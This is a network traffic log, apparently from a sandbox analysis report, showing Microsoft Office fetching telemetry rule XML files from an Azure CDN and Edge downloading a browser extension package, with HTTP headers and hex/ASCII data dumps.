2024-10-29 16:59:35 UTC	1378	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 35 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 73 6f 6e 61 6c 69 7a 61 74 69 6f 6e 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702550" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Personalization" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPersonalization" S="Medium" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
140	192.168.2.6	49882	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:35 UTC	192	OUT	GET /rules/rule701351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:35 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:35 GMT Content-Type: text/xml Content-Length: 1407 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE687B46A" x-ms-request-id: 5278af64-001e-0034-3fad-26dd04000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165935Z-16849878b787bfsh7zgp804my400000005k000000000kfwd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 16:59:35 UTC	1407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
141	192.168.2.6	49883	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:36 UTC	192	OUT	GET /rules/rule701350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:36 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:36 GMT Content-Type: text/xml Content-Length: 1370 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE62E0AB" x-ms-request-id: c9ef38c2-001e-002b-2fff-2599f2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165936Z-15b8d89586fxdh48ft0acdbg4400000000mg0000000082nc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 16:59:36 UTC	1370	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 72 66 6f 72 6d 61 6e 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Performance" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPerformance" S="Medium" /> <F

Session ID	Source IP	Source Port	Destination IP	Destination Port
142	192.168.2.6	49887	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:36 UTC	192	OUT	GET /rules/rule702151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:36 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:36 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE156D2EE" x-ms-request-id: b4130024-d01e-0082-10a3-26e489000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165936Z-16849878b78wc6ln1zsrz6q9w800000006hg000000006803 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:36 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeo

Session ID	Source IP	Source Port	Destination IP	Destination Port
143	192.168.2.6	49889	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:36 UTC	192	OUT	GET /rules/rule703001v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:36 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:36 GMT Content-Type: text/xml Content-Length: 1406 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB16F27E" x-ms-request-id: 903d302d-701e-0050-069c-276767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165936Z-16849878b78fssff8btnns3b1400000006zg00000000w608 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:36 UTC	1406	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703001" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTok

Session ID	Source IP	Source Port	Destination IP	Destination Port
144	192.168.2.6	49888	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:36 UTC	192	OUT	GET /rules/rule702150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:36 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:36 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:07 GMT ETag: "0x8DC582BEDC8193E" x-ms-request-id: 44b69168-a01e-0098-3739-288556000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165936Z-15b8d89586fqj7k5h9gbd8vs980000000800000000007hdn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 16:59:36 UTC	1360	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 65 6f 70 6c 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 65 6f 70 6c 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.People" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPeople" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
145	192.168.2.6	49900	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:36 UTC	192	OUT	GET /rules/rule703000v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 16:59:36 UTC	584	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 16:59:36 GMT Content-Type: text/xml Content-Length: 1369 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:49 GMT ETag: "0x8DC582BE32FE1A2" x-ms-request-id: 419dffea-201e-003c-451f-2830f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T165936Z-15b8d89586f8l5961kfst8fpb00000000hfg000000006y4q x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 16:59:36 UTC	1369	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 30 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 4d 61 63 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 4f 75 74 6c 6f 6f 6b 4d 61 63 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703000" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Outlook.Mac" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenOutlookMac" S="Medium" /> <F T

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.6	49891	216.58.206.33	443	8136	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 16:59:36 UTC	594	OUT	GET /crx/blobs/AYA8VyyVmiyWvldTRU0qGaR4RUSL6-YrG6uKRsMPsRWu4uzTWsENQ0Oe4TwjJlNxU5Vx3wW0XCsKQHAJ2XkWCO0eQ7UF3N9B6xg6w6N4ZQ_ezL5_s1EfR63s25vMOuhpdI4AxlKa5cntVqVuAOGwNK_pRVduNn5fPIzZ/GHBMNNJOOEKPMOECNNNILNNBDLOLHKHI_1_83_1_0.crx HTTP/1.1 Host: clients2.googleusercontent.com Connection: keep-alive Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-10-29 16:59:36 UTC	573	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Content-Length: 135771 X-GUploader-UploadID: AHmUCY2fkLMfg2UViBSxPHR62M-7aPKx0IQuekXEaiPu1qL54C4HJ8BoMjJbe2us9vX7HBzulJv6Lu7hVg X-Goog-Hash: crc32c=5YFIVw== Server: UploadServer Date: Mon, 28 Oct 2024 20:33:29 GMT Expires: Tue, 28 Oct 2025 20:33:29 GMT Cache-Control: public, max-age=31536000 Age: 73567 Last-Modified: Tue, 22 Oct 2024 20:33:19 GMT ETag: a1239f8c_b608f476_b1045d58_830b10c8_3ed9cb2d Content-Type: application/x-chrome-extension Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-29 16:59:36 UTC	805	IN	Data Raw: 43 72 32 34 03 00 00 00 e2 15 00 00 12 ac 04 0a a6 02 30 82 01 22 30 0d 06 09 2a 86 48 86 f7 0d 01 01 01 05 00 03 82 01 0f 00 30 82 01 0a 02 82 01 01 00 9c 5e d1 18 b0 31 22 89 f4 fd 77 8d 67 83 0b 74 fd c3 32 4a 0e 47 31 00 29 58 34 b1 bf 3d 26 90 3f 5b 6a 2c 4c 7a fd d5 6a b0 75 cf 65 5b 49 85 71 2a 42 61 2f 58 dd ee dc 50 c1 68 fc cd 84 4c 04 88 b9 99 dc 32 25 33 5f 6f f4 ae b5 ad 19 0d d4 b8 48 f7 29 27 b9 3d d6 95 65 f8 ac c8 9c 3f 15 e6 ef 1f 08 ab 11 6a e1 a9 c8 33 55 48 fd 7c bf 58 8c 4d 06 e3 97 75 cc c2 9c 73 5b a6 2a f2 ea 3f 24 f3 9c db 8a 05 9f 46 25 11 1d 18 b4 49 08 19 94 80 29 08 f2 2c 2d c0 2f 90 65 35 29 a6 66 83 e7 4f e4 b2 71 14 5e ff 90 92 01 8d d3 bf ca a0 d0 39 a0 08 28 e3 d2 5f d5 70 68 32 fe 10 5e d5 59 42 50 58 66 5f 38 cc 0b 08 Data Ascii: Cr240"0H0^1"wgt2JG1)X4=&?[j,Lzjue[IqBa/XPhL2%3_oH)'=e?j3UH\|XMus[*?$F%I),-/e5)fOq^9(_ph2^YBPXf_8
2024-10-29 16:59:36 UTC	1378	IN	Data Raw: aa 54 89 36 c1 f8 f2 5a f7 ba 97 f1 3f fe f5 43 56 d7 f2 f3 3c 8c e7 4b ff e3 ef 3f c6 cf aa aa f3 6b fd 97 a1 fa fc cb e9 ac aa 1f 7f fd 71 3d bf f7 95 fc 59 5e fa b1 ea c7 1f 7f ff d7 8f 21 7f a8 4b 2e f5 e7 ab 47 d8 14 a6 6d 08 6e 1b a9 59 d7 a5 59 ab f2 b1 7f e2 d6 f5 9c 75 d3 57 66 8e a7 d2 54 4f 22 d9 3f a1 dd 8b 8d ce f7 b3 f0 55 2f 52 64 ec 9b cb 59 7f be 8e 1a 6a ee bf ff de a9 ab 48 a3 f3 51 8d bf ec 7b b7 96 fe fb f9 78 de 4f 51 f3 7e 2b 7d bb ff fe 4c d9 39 5f 12 3a 97 2c 45 97 ef ef 0b 13 71 f1 30 26 ce df 1f 49 3b 62 c4 e0 48 bb b1 11 3e ea f2 8e 02 39 b3 7d 09 42 84 80 d8 92 2e 7c e4 41 b8 a9 7c 61 8b 47 e8 1c 82 eb b9 f4 a1 91 6f f7 4f 7b e5 5c 0b 13 d5 85 cf e6 83 09 bb 83 09 54 69 a1 5a 98 fa ba 1b e6 c2 dc 9c 0f db f0 51 98 ce ef f3 fc Data Ascii: T6Z?CV<K?kq=Y^!K.GmnYYuWfTO"?U/RdYjHQ{xOQ~+}L9_:,Eq0&I;bH>9}B.\|A\|aGoO{\TiZQ
2024-10-29 16:59:36 UTC	1378	IN	Data Raw: 88 1b 77 cc 06 18 f9 d1 78 a4 43 22 82 21 af 78 ed e5 3b 17 31 63 f2 12 16 6f 58 13 8a ac 6b 1f 08 96 b6 8e 59 b4 c8 5e 7b ff 95 e3 e3 6c 66 93 48 75 bd 57 d8 44 86 61 51 06 73 e9 21 bf d8 c1 38 0f 10 8e 94 67 c9 ae de 62 0f 6a 0d 08 71 f9 00 01 36 e4 d7 e2 f8 fd 7e ad e7 de 90 39 1c a3 5e 29 61 4c ee 81 a2 7b 44 c7 8e 2a b9 2d 76 d2 4b 76 32 2c a9 88 31 c0 6e d9 6b 8d a6 5a 8f 18 9d a2 60 79 ed cb ff 87 06 97 0d 1e 32 a3 56 32 10 9f b9 a9 d2 c4 8b 46 12 b8 5e dc 88 5e 98 61 86 3b 1d 0a 96 7b 16 9e c8 68 27 de 4a 05 5d 6c ca cd 72 ee c9 b5 fc 47 ed 73 37 d8 17 1e 9a eb 56 7a a1 49 00 ec 50 20 44 6e 0c 07 32 6b 0d f0 31 8f 82 17 33 36 ef 77 16 e0 38 a3 78 57 75 ef f7 45 fe d6 da dc 1b 3c a4 60 9b 5a c3 ab 54 de 7c 84 75 4b 00 a2 d8 aa 43 dd 63 24 a2 05 b3 Data Ascii: wxC"!x;1coXkY^{lfHuWDaQs!8gbjq6~9^)aL{D*-vKv2,1nkZ`y2V2F^^a;{h'J]lrGs7VzIP Dn2k136w8xWuE<`ZT\|uKCc$
2024-10-29 16:59:36 UTC	1378	IN	Data Raw: ec 3c 53 7b bd 2b 0d f6 8f 48 d5 27 4c 9d 21 67 cf 13 d5 fd 28 ef 16 fb ab 5b b1 72 6f 45 f7 8a 4f da b3 e7 94 c8 03 e1 ba 8f ea 98 8d ad 70 5b 75 d3 db 31 31 1e 65 20 3f 73 03 a7 8c c0 5d 02 07 98 cf a2 15 9d ee 3b 96 d8 5b 6e bd d6 e7 1c e9 c6 a6 3c ec 04 df 03 02 d8 07 6a 07 4f 70 bb e6 0d 44 84 8e 31 f6 ed 1b e9 6a c5 3d 68 26 0c d9 55 07 3f b0 8e cd 25 f6 a5 bf 92 bd 1a 68 de 40 51 36 ee b9 e4 ce 81 50 6c c6 16 de 88 4e bc 66 c4 fd 22 da f5 e3 d6 a9 11 77 1e cc c8 00 69 9f 41 62 95 20 df bd 2c b1 bf 6b be 5b ba 52 77 ca c0 9b 04 7c b7 44 3b 68 e6 61 cf 76 78 4c 3a 74 24 9e d6 21 da de bf f7 1b 89 3f 5c 33 4b 7c e7 5f 9b f5 e1 23 f2 f7 8f ff 83 bf 91 02 97 ae 8d 7f 06 9c bd 4c 5d 83 7b e3 6b 6c 38 41 a1 10 8f 67 d6 26 30 9e 29 6c 6d ce c7 a7 68 e7 66 Data Ascii: <S{+H'L!g([roEOp[u11e ?s];[n<jOpD1j=h&U?%h@Q6PlNf"wiAb ,k[Rw\|D;havxL:t$!?\3K\|_#L]{kl8Ag&0)lmhf
2024-10-29 16:59:36 UTC	1378	IN	Data Raw: 73 be d1 73 8f fe f4 bd 21 33 d5 4d 7a 30 92 e6 a0 73 01 69 4f 6c e7 64 e7 06 c4 1f cd ca 43 29 99 d5 a9 e4 d2 27 1d 24 47 c6 70 b9 db 83 b8 ff e3 7b 43 fd 1c bd 60 8e 2a b8 9e 3b 74 be 19 0c 65 10 ff b7 71 9b 03 75 c2 bc 05 66 42 30 d4 bd 44 4c 1f e0 98 f8 e0 5e 51 d6 09 16 ee 62 8a 41 64 da 7a 3d 5a 33 a2 f1 1d 19 2a c9 80 f3 07 8d 29 4d f6 90 9d 6a f4 d8 56 61 85 9f 3a ce 4e 59 a7 6e a9 e5 ea 31 ff db f8 7b 43 fb aa 2b b5 c2 4c a8 10 57 3e 9d 12 73 e0 51 5f ef a3 40 64 48 ab 09 6b 6a 14 35 a1 2f 83 cb 26 d1 e4 cb 9d b8 cb 6e d2 3d 1d 90 fa 7e 9d 1e 6b cc d2 f8 7b 2e c6 37 f3 df 63 e9 ba ef fe 7d de f2 f4 a7 e7 2c 7f fb ee 20 7d 36 a6 a6 6a 7f 3b 2b 59 eb 18 b5 6f b9 8e 0b c1 c7 7b c1 1d 95 99 f6 ad e8 d4 b5 e8 6c ed 3f a7 af c2 af 3f 73 bf 3d ff ef 77 Data Ascii: ss!3Mz0siOldC)'$Gp{C`;tequfB0DL^QbAdz=Z3)MjVa:NYn1{C+LW>sQ_@dHkj5/&n=~k{.7c}, }6j;+Yo{l??s=w
2024-10-29 16:59:36 UTC	1378	IN	Data Raw: 03 04 14 00 08 08 08 00 00 00 21 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 2d 00 5f 6c 6f 63 61 6c 65 73 2f 73 76 2f 6d 65 73 73 61 67 65 73 2e 6a 73 6f 6e 55 54 05 00 01 50 03 fc 66 0a 00 20 00 00 00 00 00 01 00 18 00 00 08 b1 f4 0b 14 db 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 8d 52 3d 6f dc 30 0c dd fb 2b 08 cf 46 70 fd 1c b2 05 08 d0 a1 45 53 a4 59 02 64 61 4e b4 23 48 a6 04 8a 72 72 08 f2 df 4b 9d 7d 08 ce e8 d0 45 03 45 be f7 f8 1e 5f bb bd 10 2a 31 3d 77 97 af dd 44 a5 e0 48 dd 65 f7 e7 c7 d5 ef 2b f8 75 7f 77 d7 bd f5 1d bd e4 88 8c ea 13 a7 61 88 9e c9 f9 82 8f 91 dc f9 d4 75 85 87 ba db d1 17 81 b5 ef 02 6e 26 70 15 66 1f 23 20 cf cb 37 3b 84 ef 29 8d 91 e0 3a 85 3a 11 2b 54 45 06 cf 4a c2 a4 35 e7 90 72 36 84 b1 3f 42 0e df 72 66 Data Ascii: !-_locales/sv/messages.jsonUTPf R=o0+FpESYdaN#HrrK}EE_*1=wDHe+uwaun&pf# 7;)::+TEJ5r6?Brf
2024-10-29 16:59:36 UTC	1378	IN	Data Raw: d6 92 10 e8 84 d6 9a 4c 28 b9 28 68 15 81 3d 3a d0 47 7f 87 f5 aa c5 a0 2c 48 96 b4 9f 93 24 bf 74 ca 3b a4 a0 f9 6a e6 a1 cc 40 81 91 19 30 5d a1 39 7e 39 01 48 39 a0 4f 22 d8 2a e1 e0 08 be e7 cf 6d 6c b8 0b be c9 03 07 28 7d 6a dc e2 3f 42 98 78 2d d6 a1 b1 19 12 f8 68 b4 04 85 9d 97 35 1c 1b 0c 16 5f 55 b4 c5 fe ea 43 28 83 0e 40 08 bf 0d 79 16 7a c3 cf 26 b0 46 00 0e 4b 9e 50 f8 ed 3b 0e 8c 5d 3c 0b 64 ca 72 2e 90 41 1f b1 d4 e7 ed 22 33 dd 46 8d 4d 1a 99 c7 e4 99 3c 21 86 b1 e4 d2 54 27 cf df ef 91 4e 01 0d 30 81 96 55 96 37 4e 3d d0 01 5c b2 ca 55 80 04 ec aa e2 2a 73 90 6b ac 51 58 5b 6a 0a 34 8b b4 b7 4f b0 0d b9 c6 2c a1 85 38 3d c9 71 2f 07 ef 6d df 60 8f b9 82 8c 87 80 43 e8 d4 88 fe 62 9f b4 94 b9 d7 66 ac 7c 82 88 1d 51 d1 f9 61 37 fe 39 d8 Data Ascii: L((h=:G,H$t;j@0]9~9H9O"ml(}j?Bx-h5_UC(@yz&FKP;]<dr.A"3FM<!T'N0U7N=\UskQX[j4O,8=q/m`Cbf\|Qa79
